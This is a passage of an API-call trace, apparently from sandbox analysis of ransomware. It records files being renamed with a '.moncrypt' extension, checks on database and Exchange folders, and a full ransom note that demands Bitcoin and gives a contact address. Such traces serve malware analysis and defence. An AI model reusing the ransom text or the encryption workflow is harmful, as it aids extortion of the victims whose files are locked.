lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.915] SetFilePointer (in: hFile=0x18c, lDistanceToMove=43276, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xa90c [0050.915] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.915] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.915] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.927] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.927] CloseHandle (hObject=0x18c) returned 1 [0050.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.928] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.928] CloseHandle (hObject=0x18c) returned 1 [0050.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.929] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.929] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.929] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.929] GlobalUnlock (hMem=0x440004) returned 0 [0050.929] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.929] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.929] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.929] GlobalUnlock (hMem=0x440004) returned 0 [0050.929] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.929] GlobalUnlock (hMem=0x44000c) returned 0 [0050.929] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f950600, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f950600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f950600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.929] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.929] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.929] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.930] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.930] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.930] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.930] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.930] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.930] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.930] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.930] CloseHandle (hObject=0x18c) returned 1 [0050.930] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.930] GetLastError () returned 0x12 [0050.930] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.930] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.930] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.930] GlobalUnlock (hMem=0x44000c) returned 0 [0050.930] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.930] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.930] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.930] GlobalUnlock (hMem=0x44000c) returned 0 [0050.930] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.931] GlobalUnlock (hMem=0x440004) returned 0 [0050.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f976760, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f976760, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.931] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.931] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.931] GlobalLock (hMem=0x440004) returned 0x550170 [0050.931] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.931] GlobalUnlock (hMem=0x440004) returned 0 [0050.931] GlobalLock (hMem=0x440004) returned 0x550170 [0050.931] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.931] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.931] GlobalUnlock (hMem=0x440004) returned 0 [0050.931] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.931] GlobalUnlock (hMem=0x44000c) returned 0 [0050.931] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.931] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f976760, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f976760, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.931] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.931] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.931] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.931] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.931] GlobalUnlock (hMem=0x44000c) returned 0 [0050.931] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.931] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.931] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.931] GlobalUnlock (hMem=0x44000c) returned 0 [0050.932] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.932] GlobalUnlock (hMem=0x440004) returned 0 [0050.932] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.932] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM.moncrypt", cAlternateFileName="BREEZE~1.MON")) returned 1 [0050.932] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.932] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.932] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.932] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.932] GlobalUnlock (hMem=0x440004) returned 0 [0050.932] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.932] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.932] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.932] GlobalUnlock (hMem=0x440004) returned 0 [0050.932] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.932] GlobalUnlock (hMem=0x44000c) returned 0 [0050.932] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.932] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0050.932] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.932] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.932] GlobalUnlock (hMem=0x44000c) returned 0 [0050.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.932] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.932] GlobalUnlock (hMem=0x44000c) returned 0 [0050.932] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.932] GlobalUnlock (hMem=0x440004) returned 0 [0050.933] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.933] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f950600, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f950600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f950600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.933] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.933] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.933] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.933] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.933] GlobalUnlock (hMem=0x440004) returned 0 [0050.933] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.933] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.933] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.933] GlobalUnlock (hMem=0x440004) returned 0 [0050.933] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.933] GlobalUnlock (hMem=0x44000c) returned 0 [0050.933] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.933] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.933] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.933] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.933] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.933] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.933] GlobalUnlock (hMem=0x44000c) returned 0 [0050.933] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.933] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.933] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.933] GlobalUnlock (hMem=0x44000c) returned 0 [0050.933] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.933] GlobalUnlock (hMem=0x440004) returned 0 [0050.933] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.934] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.934] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.934] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.934] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.934] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.934] GlobalUnlock (hMem=0x440004) returned 0 [0050.934] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.934] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.934] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.934] GlobalUnlock (hMem=0x440004) returned 0 [0050.934] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.934] GlobalUnlock (hMem=0x44000c) returned 0 [0050.934] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.934] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.934] GetLastError () returned 0x12 [0050.934] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.934] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0050.934] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.934] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.934] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.934] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.934] GlobalUnlock (hMem=0x44000c) returned 0 [0050.935] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.935] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.935] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.935] GlobalUnlock (hMem=0x44000c) returned 0 [0050.935] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.935] GlobalUnlock (hMem=0x440004) returned 0 [0050.935] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.935] GlobalLock (hMem=0x440004) returned 0x550170 [0050.935] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.935] GlobalUnlock (hMem=0x440004) returned 0 [0050.935] GlobalLock (hMem=0x440004) returned 0x550170 [0050.935] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.935] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.935] GlobalUnlock (hMem=0x440004) returned 0 [0050.935] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.935] GlobalUnlock (hMem=0x44000c) returned 0 [0050.935] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.935] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON") returned 1 [0050.935] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.935] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.935] GlobalUnlock (hMem=0x44000c) returned 0 [0050.935] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.935] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.935] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.935] GlobalUnlock (hMem=0x44000c) returned 0 [0050.935] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.935] GlobalUnlock (hMem=0x440004) returned 0 [0050.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夎U壢U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.936] GetLastError () returned 0x3 [0050.937] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0050.937] GetLastError () returned 0x2 [0050.937] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0050.938] GetLastError () returned 0x2 [0050.938] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct 